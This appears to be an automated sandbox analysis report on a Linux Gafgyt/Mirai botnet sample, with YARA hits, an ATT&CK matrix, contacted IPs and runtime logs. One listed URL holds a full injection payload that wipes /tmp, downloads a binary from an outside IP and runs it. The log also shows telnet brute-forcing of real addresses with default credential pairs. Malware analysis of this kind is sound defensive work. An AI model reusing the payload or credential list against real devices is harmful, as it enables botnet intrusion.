    Source: 5419.34.drBinary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
    Source: 5419.34.drBinary or memory string: .qemu{
    Source: 5419.34.drBinary or memory string: qemu-ppc64abi32
    Source: 5419.34.drBinary or memory string: qemu-ppc64
    Source: 5419.34.drBinary or memory string: qemu-i386
    Source: 5419.34.drBinary or memory string: qemu-x86_64
    Source: 5419.34.drBinary or memory string: H~6\nqemu*q
    Source: 5419.34.drBinary or memory string: @qemu
    Source: 5419.34.drBinary or memory string: Fqqemu
    Source: 5419.34.drBinary or memory string: N4qemu
    Source: 5419.34.drBinary or memory string: ~6\nqemu*q
    Source: 5419.34.drBinary or memory string: qemu-mips64el
    Source: 5419.34.drBinary or memory string: hqemu
    Source: 5419.34.drBinary or memory string: &mqemu
    Source: 5419.34.drBinary or memory string: $qemu
    Source: 5419.34.drBinary or memory string: qemu-sparc
    Source: 5419.34.drBinary or memory string: qemu-microblaze
    Source: 5419.34.drBinary or memory string: qemu-user
    Source: 5419.34.drBinary or memory string: qemu-aarch64
    Source: 5419.34.drBinary or memory string: qemu-sh4eb
    Source: 5419.34.drBinary or memory string: iqemu
    Source: 5419.34.drBinary or memory string: qemu-mipsel
    Source: 5419.34.drBinary or memory string: qemuP`
    Source: 5419.34.drBinary or memory string: qemu-alpha
    Source: 5419.34.drBinary or memory string: qemu-microblazeel
    Source: 5419.34.drBinary or memory string: \qemu
    Source: 5419.34.drBinary or memory string: qemu-xtensaeb
    Source: 5419.34.drBinary or memory string: qemu-mipsn32el
    Source: 5419.34.drBinary or memory string: SAqemu
    Source: 5419.34.drBinary or memory string: Vqemu
    Source: 5419.34.drBinary or memory string: qemu-mipsn32
    Source: 5419.34.drBinary or memory string: qemuAU
    Source: 5419.34.drBinary or memory string: qemu-riscv32
    Source: 5419.34.drBinary or memory string: qemu-sparc32plus
    Source: 5419.34.drBinary or memory string: 7,qemu
    Source: 5419.34.drBinary or memory string: qemu-s390x
    Source: 5419.34.drBinary or memory string: vmware-checkvm
    Source: 5419.34.drBinary or memory string: qemu-nios2
    Source: 5419.34.drBinary or memory string: qemu-armeb
    Source: 5419.34.drBinary or memory string: -4415868968400A--gzVMware SVGA video driver
    Source: 5419.34.drBinary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
    Source: 5419.34.drBinary or memory string: I_qemu
    Source: 5419.34.drBinary or memory string: -1116261022170B--gzQEMU User Emulator
    Source: 5419.34.drBinary or memory string: -3315837702310A--gzvmware shared library
    Source: 5419.34.drBinary or memory string: qemu-mips
    Source: 5419.34.drBinary or memory string: qemuj\
    Source: 5419.34.drBinary or memory string: {qemuQ&
    Source: 5419.34.drBinary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
    Source: 5419.34.drBinary or memory string: vmware-xferlogs

    Stealing of Sensitive Information:

    barindex
    Yara detected MiraiShow sources
    Source: Yara matchFile source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: dump.pcap, type: PCAP
    Yara detected GafgytShow sources
    Source: Yara matchFile source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY

    Remote Access Functionality:

    barindex
    Yara detected MiraiShow sources
    Source: Yara matchFile source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: dump.pcap, type: PCAP
    Yara detected GafgytShow sources
    Source: Yara matchFile source: 5228.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5223.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5225.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5226.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORY

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting1Systemd Service1Systemd Service1Scripting1OS Credential Dumping1Security Software Discovery11Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsIndicator Removal on Host1LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Standard Port11Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or Information1Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol3SIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsIngress Tool Transfer3Manipulate Device CommunicationManipulate App Store Rankings or Ratings

    Malware Configuration

    No configs have been found

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 553464 Sample: 1xtO9V8ku8 Startdate: 14/01/2022 Architecture: LINUX Score: 100 47 190.45.54.178 VTRBANDAANCHASACL Chile 2->47 49 2.203.114.164 VODANETInternationalIP-BackboneofVodafoneDE Germany 2->49 51 98 other IPs or domains 2->51 53 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->53 55 Malicious sample detected (through community Yara rule) 2->55 57 Multi AV Scanner detection for submitted file 2->57 59 5 other signatures 2->59 9 systemd logrotate 2->9         started        11 1xtO9V8ku8 2->11         started        13 systemd install 2->13         started        15 2 other processes 2->15 signatures3 process4 process5 17 logrotate sh 9->17         started        19 logrotate sh 9->19         started        21 logrotate gzip 9->21         started        23 logrotate gzip 9->23         started        25 1xtO9V8ku8 11->25         started        27 1xtO9V8ku8 11->27         started        29 1xtO9V8ku8 11->29         started        31 3 other processes 11->31 process6 33 sh invoke-rc.d 17->33         started        35 sh rsyslog-rotate 19->35         started        process7 37 invoke-rc.d runlevel 33->37         started        39 invoke-rc.d systemctl 33->39         started        41 invoke-rc.d ls 33->41         started        43 invoke-rc.d systemctl 33->43         started        45 rsyslog-rotate systemctl 35->45         started       

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    1xtO9V8ku821%VirustotalBrowse
    1xtO9V8ku835%ReversingLabsLinux.Trojan.Gafgyt

    Dropped Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws0%Avira URL Cloudsafe

    Domains and IPs

    Contacted Domains

    No contacted domains info

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jawsfalse
    • Avira URL Cloud: safe
    		unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://upx.sf.net1xtO9V8ku8false
      		high

      Contacted IPs

      • No. of IPs < 25%
      • 25% < No. of IPs < 50%
      • 50% < No. of IPs < 75%
      • 75% < No. of IPs

      Public

      IPDomainCountryFlagASNASN NameMalicious
      209.143.100.57
      		unknownUnited States
      		17054AS17054USfalse
      110.111.162.22
      		unknownChina
      		38341CNNIC-HCENET-APHEXIEInformationtechnologyCoLtdCNfalse
      70.150.15.221
      		unknownUnited States
      		6389BELLSOUTH-NET-BLKUSfalse
      53.152.59.75
      		unknownGermany
      		31399DAIMLER-ASITIGNGlobalNetworkDEfalse
      74.52.52.14
      		unknownUnited States
      		36351SOFTLAYERUSfalse
      126.127.82.18
      		unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
      141.201.89.75
      		unknownAustria
      		1109UNI-SALZBURGUniversityofSalzburgATfalse
      108.52.208.147
      		unknownUnited States
      		701UUNETUSfalse
      220.74.4.214
      		unknownKorea Republic of
      		4766KIXS-AS-KRKoreaTelecomKRfalse
      44.223.156.7
      		unknownUnited States
      		14618AMAZON-AESUSfalse
      112.85.175.115
      		unknownChina
      		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
      156.49.195.221
      		unknownSweden
      		29975VODACOM-ZAfalse
      48.21.211.95
      		unknownUnited States
      		2686ATGS-MMD-ASUSfalse
      192.47.110.8
      		unknownJapan17955AVISNETDensanCoLtdJPfalse
      20.219.183.2
      		unknownUnited States
      		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
      71.19.55.97
      		unknownCanada
      		14366MNTNCAfalse
      156.228.63.60
      		unknownSeychelles
      		328608Africa-on-Cloud-ASZAfalse
      156.72.230.180
      		unknownUnited States
      		29975VODACOM-ZAfalse
      53.153.108.52
      		unknownGermany
      		31399DAIMLER-ASITIGNGlobalNetworkDEfalse
      104.30.121.98
      		unknownUnited States
      		13335CLOUDFLARENETUSfalse
      50.138.60.221
      		unknownUnited States
      		7922COMCAST-7922USfalse
      38.153.88.159
      		unknownUnited States
      		174COGENT-174USfalse
      80.132.5.126
      		unknownGermany
      		3320DTAGInternetserviceprovideroperationsDEfalse
      46.56.82.247
      		unknownBelarus
      		25106MTSBY-ASBYfalse
      204.156.187.82
      		unknownUnited States
      		40948STRATUS-NETWORKSUSfalse
      47.44.9.235
      		unknownUnited States
      		20115CHARTER-20115USfalse
      62.167.11.173
      		unknownSwitzerland
      		6730SUNRISECHfalse
      67.164.149.29
      		unknownUnited States
      		7922COMCAST-7922USfalse
      166.87.120.234
      		unknownSaudi Arabia
      		5080ARAMCO-ASUSfalse
      58.110.34.63
      		unknownAustralia
      		4804MPX-ASMicroplexPTYLTDAUfalse
      184.89.111.3
      		unknownUnited States
      		33363BHN-33363USfalse
      32.173.232.222
      		unknownUnited States
      		2686ATGS-MMD-ASUSfalse
      45.130.62.153
      		unknownIsrael
      		60781LEASEWEB-NL-AMS-01NetherlandsNLfalse
      36.28.252.139
      		unknownChina
      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
      14.112.161.254
      		unknownChina
      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
      2.203.114.164
      		unknownGermany
      		3209VODANETInternationalIP-BackboneofVodafoneDEfalse
      79.93.200.239
      		unknownFrance
      		15557LDCOMNETFRfalse
      129.17.231.111
      		unknownUnited States
      		2841CHALMERSSEfalse
      220.250.160.228
      		unknownChina
      		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
      60.11.198.147
      		unknownChina
      		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
      190.45.54.178
      		unknownChile
      		22047VTRBANDAANCHASACLfalse
      79.118.248.134
      		unknownRomania
      		8708RCS-RDS73-75DrStaicoviciROfalse
      168.96.193.109
      		unknownArgentina
      		3597FundacionInnovaTARfalse
      95.252.144.225
      		unknownItaly
      		3269ASN-IBSNAZITfalse
      142.154.33.75
      		unknownSaudi Arabia
      		25019SAUDINETSTC-ASSAfalse
      176.131.97.133
      		unknownFrance
      		5410BOUYGTEL-ISPFRfalse
      210.75.10.103
      		unknownChina
      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
      194.16.168.83
      		unknownSweden
      		3301TELIANET-SWEDENTeliaCompanySEfalse
      167.236.98.20
      		unknownUnited States
      		19400SPX-FLOW-ASUSfalse
      32.213.106.159
      		unknownUnited States
      		46690SNET-FCCUSfalse
      120.70.150.33
      		unknownChina
      		137694CHINATELECOM-XINJIANG-KEZHOU-MANCHINATELECOMXinjiangKezhofalse
      174.155.124.236
      		unknownUnited States
      		10507SPCSUSfalse
      190.133.162.93
      		unknownUruguay
      		6057AdministracionNacionaldeTelecomunicacionesUYfalse
      197.243.99.60
      		unknownRwanda
      		37228Olleh-Rwanda-NetworksRWfalse
      163.87.229.224
      		unknownFrance
      		17816CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovifalse
      204.12.98.68
      		unknownUnited States
      		20021LNH-INCUSfalse
      121.30.154.145
      		unknownChina
      		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
      151.249.236.209
      		unknownCzech Republic
      		42036GARANT-GOMELBYfalse
      178.91.183.200
      		unknownKazakhstan
      		9198KAZTELECOM-ASKZfalse
      186.186.117.84
      		unknownVenezuela
      		6306TELEFONICAVENEZOLANACAVEfalse
      158.242.12.252
      		unknownUnited States
      		721DNIC-ASBLK-00721-00726USfalse
      40.185.109.192
      		unknownUnited States
      		4249LILLY-ASUSfalse
      104.1.204.68
      		unknownUnited States
      		7018ATT-INTERNET4USfalse
      5.114.132.141
      		unknownIran (ISLAMIC Republic Of)
      		44244IRANCELL-ASIRfalse
      44.196.148.250
      		unknownUnited States
      		14618AMAZON-AESUSfalse
      53.220.219.81
      		unknownGermany
      		31399DAIMLER-ASITIGNGlobalNetworkDEfalse
      171.43.14.219
      		unknownChina
      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse
      53.11.56.88
      		unknownGermany
      		31399DAIMLER-ASITIGNGlobalNetworkDEfalse
      184.2.91.221
      		unknownUnited States
      		209CENTURYLINK-US-LEGACY-QWESTUSfalse
      149.27.123.191
      		unknownKazakhstan
      		29355KCELL-ASKZfalse
      44.118.115.167
      		unknownUnited States
      		7377UCSDUSfalse
      93.1.130.80
      		unknownFrance
      		15557LDCOMNETFRfalse
      176.57.79.198
      		unknownRussian Federation
      		199634GTS-MRUfalse
      59.101.199.215
      		unknownAustralia
      		2764AAPTAAPTLimitedAUfalse
      159.91.118.199
      		unknownUnited States
      		21976NJEDGE-NETUSfalse
      70.140.150.58
      		unknownUnited States
      		7018ATT-INTERNET4USfalse
      119.106.78.235
      		unknownJapan2516KDDIKDDICORPORATIONJPfalse
      169.248.203.163
      		unknownUnited States
      		47024THE-METROHEALTH-SYSTEMUSfalse
      20.112.77.81
      		unknownUnited States
      		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
      75.34.155.11
      		unknownUnited States
      		7018ATT-INTERNET4USfalse
      162.30.206.102
      		unknownUnited States
      		46483RGHSUSfalse
      143.241.129.61
      		unknownUnited States
      		174COGENT-174USfalse
      209.212.174.247
      		unknownUnited States
      		701UUNETUSfalse
      170.187.70.79
      		unknownUnited States
      		7018ATT-INTERNET4USfalse
      181.71.150.144
      		unknownColombia
      		27831ColombiaMovilCOfalse
      187.87.170.252
      		unknownBrazil
      		53076INTERPIRAINTERNETSERVICEPROVIDERLTDABRfalse
      207.114.244.32
      		unknownUnited States
      		15292LIFESIZEUSfalse
      177.180.254.130
      		unknownBrazil
      		28573CLAROSABRfalse
      105.189.12.229
      		unknownMorocco
      		36925ASMediMAfalse
      8.107.28.253
      		unknownUnited States
      		3356LEVEL3USfalse
      60.248.126.73
      		unknownTaiwan; Republic of China (ROC)
      		3462HINETDataCommunicationBusinessGroupTWfalse
      41.108.245.6
      		unknownAlgeria
      		36947ALGTEL-ASDZfalse
      82.49.65.53
      		unknownItaly
      		3269ASN-IBSNAZITfalse
      19.11.67.72
      		unknownUnited States
      		3MIT-GATEWAYSUSfalse
      118.240.23.117
      		unknownJapan2527SO-NETSo-netEntertainmentCorporationJPfalse
      157.197.246.126
      		unknownKorea Republic of
      		6619SAMSUNGSDS-AS-KRSamsungSDSIncKRfalse
      166.93.1.104
      		unknownReserved
      		18779EGIHOSTINGUSfalse
      131.102.76.251
      		unknownSwitzerland
      		33845SWISSGOVCHfalse
      40.58.230.164
      		unknownUnited States
      		4249LILLY-ASUSfalse
      223.15.201.231
      		unknownChina
      		4134CHINANET-BACKBONENo31Jin-rongStreetCNfalse


      Runtime Messages

      Command:/tmp/1xtO9V8ku8
      Exit Code:
      Exit Code Info:
      Killed:True
      Standard Output:
      System update finished
      DEBUG MODE YO
      [main] We are the only process on this system!
      [watchdog] failed to find a valid watchdog driver; bailing out
      DEBUG MODE YO
      [main] We are the only process on this system!
      [watchdog] failed to find a valid watchdog driver; bailing out
      DEBUG MODE YO
      [main] We are the only process on this system!
      [scanner] Scanner process initialized. Scanning started.
      [scanner] FD5 Attempting to brute found IP 211.43.24.3
      [scanner] FD5 connected. Trying admin:password123
      [scanner] FD6 Attempting to brute found IP 93.150.56.100
      [scanner] FD7 Attempting to brute found IP 117.20.122.185
      [scanner] FD6 connected. Trying root:changeme
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying root:founder88
      [scanner] FD5 finished telnet negotiation
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD7 connected. Trying root:00000000
      [scanner] FD6 connected. Trying root:vodafone
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying admin:count2004
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying support:support
      [scanner] FD5 received username prompt
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD7 connection gracefully closed
      [scanner] FD7 lost connection
      [scanner] FD7 retrying with different auth combo!
      [scanner] FD6 connected. Trying root:founder88
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD7 connected. Trying telnetadmin:telnetadmin
      [scanner] FD7 connection gracefully closed
      [scanner] FD7 lost connection
      [scanner] FD7 retrying with different auth combo!
      [scanner] FD7 connected. Trying root:root
      [scanner] FD6 connected. Trying admin:superpass
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD7 connection gracefully closed
      [scanner] FD7 lost connection
      [scanner] FD7 retrying with different auth combo!
      [scanner] FD6 connected. Trying user:@User1234
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying netscreen:netscreen
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying ZXDSL:ZXDSL
      [scanner] FD7 connected. Trying admin:epicrouter
      [scanner] FD6 lost connection
      [scanner] FD5 received password prompt
      [scanner] FD7 connection gracefully closed
      [scanner] FD7 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying admin:ttgalaxy
      [scanner] FD6 connection gracefully closed
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD5 received shell prompt
      [scanner] FD6 connected. Trying admin:ttgalaxy
      [scanner] FD6 connection gracefully closed
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying admin:count2004
      [scanner] FD5 connection gracefully closed
      [scanner] FD5 lost connection
      [scanner] FD5 retrying with different auth combo!
      [scanner] FD6 connection gracefully closed
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD5 connected. Trying root:changeme
      [scanner] FD6 connected. Trying root:founder88
      [scanner] FD5 finished telnet negotiation
      [scanner] FD6 connection gracefully closed
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD5 received username prompt
      [scanner] FD6 connected. Trying DSL:DSL
      [scanner] FD6 connection gracefully closed
      [scanner] FD6 lost connection
      [scanner] FD6 retrying with different auth combo!
      [scanner] FD6 connected. Trying admin:vodafone
      [scanner] FD5 received password prompt
      [scanner] FD6 connection gracefully closed
      [scanner] FD6 lost connection
      [scanner] FD5 received shell prompt
      [scanner] FD5 connection gracefully closed
      [scanner] FD5 lost connection
      [scanner] FD5 retrying with different auth combo!
      [scanner] FD5 connected. Trying cisco:cisco
      [scanner] FD5 finished telnet negotiation
      [scanner] FD5 received username prompt
      [scanner] FD5 received password prompt
      [scanner] FD5 received shell prompt
      [scanner] FD5 connection gracefully closed
      [scanner] FD5 lost connection
      [scanner] FD5 retrying with different auth combo!
      [scanner] FD5 connected. Trying admin:count2004
      [scanner] FD5 finished telnet negotiation
      [scanner] FD5 received username prompt
      [scanner] FD5 received password prompt
      [scanner] FD5 received shell prompt
      [scanner] FD5 connection gracefully closed
      [scanner] FD5 lost connection
      [scanner] FD5 retrying with different auth combo!
      [scanner] FD5 connected. Trying admin:1234
      [scanner] FD6 Attempting to brute found IP 168.221.236.27
      [scanner] FD5 finished telnet negotiation
      [scanner] FD5 received username prompt
      [scanner] FD7 Attempting to brute found IP 135.23.62.73
      [scanner] FD8 Attempting to brute found IP 189.206.254.26
      [scanner] FD7 connected. Trying root:founder88
      [scanner] FD8 connected. Trying root:vodafone
